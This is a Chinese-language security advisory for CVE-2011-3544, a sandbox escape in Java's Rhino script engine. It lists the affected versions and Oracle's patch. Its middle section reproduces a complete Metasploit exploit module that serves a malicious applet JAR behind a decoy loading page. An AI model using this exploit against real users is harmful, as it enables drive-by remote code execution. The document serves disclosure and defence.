发布日期：2011-10-20
更新日期：2011-10-20

受影响系统：

Oracle Sun JRE 1.6.x
Oracle Sun JDK 1.6.x

不受影响系统：

Oracle Sun JRE 1.6.0_28
Oracle Sun JRE 1.5.0_32
Oracle Sun JDK 1.6.0_28
Oracle Sun JDK 1.5.0_32

描述：

---

BUGTRAQ  ID: 50218
CVE ID: CVE-2011-3544

Oracle Java SE是标准版的Java平台是一个Java2的平台，为用户提供一个程序开发环境。

Oracle Java SE在Java运行时环境中存在远程漏洞，漏洞影响Java Applet Rhino脚本引擎，远程攻击者可利用此漏洞通过诱使用户访问恶意网页在用户系统上执行任意命令。

<*来源：Oracle
  
  链接：http://www.oracle.com/technetwork/topics/security/javacpuoct2011-443431.html
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Java Applet Rhino Script Engine Remote Code Execution

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HttpServer::HTML

    def initialize( info = {} )
        super( update_info( info,
            'Name'          => 'Java Applet Rhino Script Engine Remote Code Execution',
            'Description'   => %q{
                    This module exploits a vulnerability in the Rhino Script Engine that
                can be used by a Java Applet to run arbitrary Java code outside of
                the sandbox.  The vulnerability affects version 7 and version 6 update
                27 and earlier, and should work on any browser that supports Java
                (for example: IE, Firefox, Google Chrome, etc)
            },
            'License'       => MSF_LICENSE,
            'Author'        =>
                [
                    'Michael Schierl', # Discovery
                    'juan vazquez',    # metasploit module
                    'Edward D. Teach <teach@consortium-of-pwners.net>',
                    'sinn3r'
                ],
            'References'    =>
                [
                    [ 'CVE', '2011-3544' ],
                    [ 'OSVDB', '76500' ], # 76500 and 76499 have contents mixed
                    [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-305/' ],
                    [ 'URL', 'http://schierlm.users.sourceforge.net/CVE-2011-3544.html' ],
                ],
            'Platform'      => [ 'java', 'win', 'linux' ],
            'Payload'       => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
            'Targets'       =>
                [
                    [ 'Generic (Java Payload)',
                        {
                            'Arch' => ARCH_JAVA,
                        }
                    ],
                    [ 'Windows Universal',
                        {
                            'Arch' => ARCH_X86,
                            'Platform' => 'win'
                        }
                    ],
                    [ 'Apple OSX',
                        {
                            'ARCH' => ARCH_X86,
                            'Platform' => 'osx'
                        }
                    ],
                    [ 'Linux x86',
                        {
                            'Arch' => ARCH_X86,
                            'Platform' => 'linux'
                        }
                    ]
                ],
            'DefaultTarget'  => 0,
            'DisclosureDate' => 'Oct 18 2011'
            ))
    end


    def on_request_uri( cli, request )
        if not request.uri.match(/\.jar$/i)
            if not request.uri.match(/\/$/)
                send_redirect(cli, get_resource() + '/', '')
                return
            end

            print_status("#{self.name} handling request from #{cli.peerhost}:#{cli.peerport}...")

            send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )
            return
        end

        paths = [
            [ "Exploit.class" ]
        ]

        p = regenerate_payload(cli)

        jar  = p.encoded_jar
        paths.each do |path|
            1.upto(path.length - 1) do |idx|
                full = path[0,idx].join("/") + "/"
                if !(jar.entries.map{|e|e.name}.include?(full))
                    jar.add_file(full, '')
                end
            end
            fd = File.open(File.join( Msf::Config.install_root, "data", "exploits", "cve-2011-3544", path ), "rb")
            data = fd.read(fd.stat.size)
            jar.add_file(path.join("/"), data)
            fd.close
        end

        print_status( "Sending Applet.jar to #{cli.peerhost}:#{cli.peerport}..." )
        send_response( cli, jar.pack, { 'Content-Type' => "application/octet-stream" } )

        handler( cli )
    end

    def generate_html
        html  = "<html><head><title>Loading, Please Wait...</title></head>"
        html += "<body><center><p>Loading, Please Wait...</p></center>"
        html += "<applet archive=\"Exploit.jar\" code=\"Exploit.class\" width=\"1\" height=\"1\">"
        html += "</applet></body></html>"
        return html
    end

end

建议：

---

临时解决方法：

访问Java的主站检查系统中是否安装了Java软件包：

1. 确认是否安装了JRE或JDK，访问http://www.java.com/zh_CN/，点击“我有Java吗”，按页面提示，点击“验证JAVA版本”。

2. 如果页面提示您未安装JRE或JDK，请忽略，不需要安装更新。

3. 如果页面提示您已安装JRE或JDK，提示是推荐的版本，请忽略，不需要安装更新。

4. 如果页面提示您已安装JRE或JDK，但不是推荐的版本，请按照页面提示下载安装最新版本。

厂商补丁：

Oracle
------
Oracle已经为此发布了一个安全公告（javacpuoct2011-443431）以及相应补丁:

javacpuoct2011-443431：Oracle Java SE Critical Patch Update Advisory - October 2011

链接：http://www.oracle.com/technetwork/topics/security/javacpuoct2011-443431.html

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